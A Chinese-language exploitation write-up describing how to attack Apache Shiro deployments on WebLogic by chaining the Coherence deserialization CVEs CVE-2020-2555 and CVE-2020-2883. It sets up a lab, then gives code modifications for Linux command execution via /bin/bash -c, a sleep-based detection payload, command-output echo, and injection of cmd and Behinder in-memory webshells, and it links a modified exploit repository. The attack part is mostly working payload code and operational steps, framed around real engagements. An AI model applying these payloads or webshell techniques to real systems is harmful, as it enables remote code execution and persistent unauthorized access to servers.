一、前言
在实战中碰到一个 shiro 有 key 无链的情况,原以为是工具带的链不够,又手动生成的许多 poc,没成功。在各种测试后,发现项目是部署在 weblogic 下的,后面搜到abc123
师傅的文章《第 17 篇:Shiro 反序列化在 Weblogic 下无利用链的拿权限方法》发现确实会有区别。又搜到了Y4er
师傅的文章《使用 WebLogic CVE-2020-2883 配合 Shiro rememberMe 反序列化一键注入蚁剑 shell》 ,在本地部署的环境没成功(后面想想应该是coherence.jar
的版本问题),最后在参考feihong
师傅的文章《使用 CVE-2020-2555 攻击 Shiro》,并对项目的代码加以改动才利用成功。站在巨人们的肩膀上,各位师傅写过的内容我就不写了一遍了。
1.1 前提条件
1.目标weblogic的版本,当然可以fuzz
2.存在Weblogic的Coherence组件反序列化漏洞:CVE-2020-2555、CVE_2020_2883、CVE-2020-14756、CVE-2021-2135等等
1.2 环境搭建
为了大家可以尝试,采用本地搭建环境来复现一遍。
1.2.1 环境启动
使用dokcer
进行weblogic
部署,这里使用vulhub
中weblogic
的CVE-2023-21839
。
cd vulhub/weblogic/CVE-2023-21839
docker-compose up -d
因为启动环境后的账号密码是随机的,进到docker
容器把控制台密码解密后登录。
console账号密码获取参考:https://www.freebuf.com/articles/web/220147.html
1.2.2 环境部署
shiro 的 demo 地址。
https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war
登录后部署项目。
上传 war 文件。
上传完成之后就一直下一步到底,点击完成。
需要在控制中修改启动的选项,为所有请求提供服务
,再点击启动就可以访问了。
访问测试一下没问题。
二、项目用法
2.1 项目导入
这里对feihong
师傅的项目进行浅析一下,这里建议大家先把项目代码过一遍,有自己的理解后再看后面的部分。
下载完项目后等pom.xml
解析好依赖后(有报错的估计是网络问题),再将各个依赖手动导入一下(Add as Library),不然有些代码会报错。
2.2 替换 coherence.jar 版本
由于目标环境的weblogic
版本是12.2.1.3
,但是当前项目依赖中的coherence.jar
的版本是12.1.3.0.0
。
java -jar coherence.jar -version
只需要将docker
中的coherence.jar
移植到此项目中即可。
三、改造
3.1 命令执行
3.1.1 适配 linux
这里写好的BasicCMDpayload
类是根据CVE_2020_2555
写的,并且执行语句是windows
的,需要修改为linux
执行命令语句,将cmd
替换成/bin/bash
。
// 修改前
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"cmd", "/c", cmd}}
);
// 修改后
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"/bin/bash", "-c", cmd}}
);
3.1.2 支持 CVE_2020_2883
再将payload
包中的BasicCMDpayload.java
修改为支持CVE_2020_2883
的BasicCMDpayload_2883.java
,根据观察对比testcase
包中的TestScriptEngineWithCVE_2020_2555.java
与TestScriptEnginelWithCVE_2020_2883.java
,前半段没修改。
后半段代码都是各自的调用关系。
而TestFileOutputStreamWithCVE_2020_2883.java
与TestScriptEnginelWithCVE_2020_2883.java
,不同功能代码也仅仅是调用类和变量不同。
那就根据这种规律直接将BasicCMDpayload.java
中的内容 copy 到新建的BasicCMDpayload_2883.java
中,然后一步步修改后半段的对应关系,将结尾修改为 return 语句。
// 修改前
//序列化
byte[] bytes = Util.serialize(queue);
//反序列化
Util.deserialize(bytes);
// 修改后
//序列化
return Util.serialize(queue);
将JavaScript
脚本解析引擎ScriptEngineManager
修改为可以执行命令的Runtime
。
// 修改前
queueArray[0] = ScriptEngineManager.class;
// 修改后
queueArray[0] = Runtime.class;
3.1.3 生成 cookie 值
在主函数那边添加一条 case 的代码,以便能调用成功,运行生成 cookie 的值。
发送数据包。
进入docker
查看,命令执行成功。
3.2 延迟
当目标不出网可以通过延迟效果,判断是否存在漏洞,也可以检测是否存在对应的漏洞或者coherence.jar
版本是否正确。
同理只是将ScriptEnginePayload.java
按照CVE_2020_2883
利用代码再修改成ScriptEnginePayload_2883.java
类,这里只说关键的地方。根据ScriptEnginePayload.java
中的代码逻辑。通过JavaScript脚本解析引擎
实现了任意代码执行,那就将执行代码的地方替换成 sleep 语句。
// 修改前
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{code}
);
// 修改后
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{"java.lang.Thread.sleep(5000);"}
);
同理再写一条 case,生成 cookie 的值。
发送数据包,成功延迟了。
既然可以任意执行 java 代码,那就可以做更多的事情:命令执行、回显、内存马等等。
3.3 命令执行回显
本身已经修改好的ScriptEnginePayload_2883.java
类,将原本的 sleep 语句注释还原即可。
// 修改前
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{"java.lang.Thread.sleep(5000);"}
// new Object[]{code}
);
// 修改后
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
// new Object[]{"java.lang.Thread.sleep(5000);"}
new Object[]{code}
);
运行生成 cookie。
成功回显。
3.4 内存马
3.4.1 cmd 小马
直接用项目中的内存马是可以成功的,由于打的内存马是两种:cmd 小马和冰蝎马(需要魔改),使用ScriptEnginePayload_2883
去加载WeblogicMemshellLoader
类。
在target
文件中找到编译后的WeblogicMemshellTemplate.class
进行base64
编码,放到请求包的body
里。
进行 url 编码。
发现小马可以使用。
由于此项目默认打入的是魔改冰蝎的内存马,所以正常的冰蝎无法直接连接,但是可以修改代码打入其他可以连接的内存马。
3.4.2 获取注入 filter 的代码
这里使用jMG java 内存马生成工具,生成一个内存马。
把SOAPUtils.class
放入到idea
中,获取base64
加密后的数据。
根据代码里发现,这一串数据需要先base64
解密,然后再 zip 解压缩。
进行base64
解密。
解压后重命名。
就获得了内存马的代码。
一会需要使用woodmem.class
进行base64
编码后结果。
3.4.3 修改代码打入内存马
将WeblogicMemshellTemplate.java
复制成一份WeblogicMemshellTemplate2.java
,修改三处地方。
内存马的类名(内存马生成器中可以看到)
woodmem.class进行base64编码后的结果
修改WeblogicMemshellLoader.java
中的调用类为刚刚生成的WeblogicMemshellTemplate2.java
的类名。
生成cookie
值。
到编译好的target
目录去把WeblogicMemshellTemplate2.class
进行base64
编码,后赋值给body
中的code
参数。
对code
的值url
编码后发送。
成功连接冰蝎马。
本项目修改后代码放这里:https://github.com/xi3w3n/Attacking_Shiro_With_Weblogic
改进空间
项目只是简单的改进利用一下,但是还有很多地方可以继续进行改进完善的:
添加CVE-2020-14756、CVE-2021-2135利用代码
操作系统识别后命令执行
Coherence多版本兼容
参考链接
https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555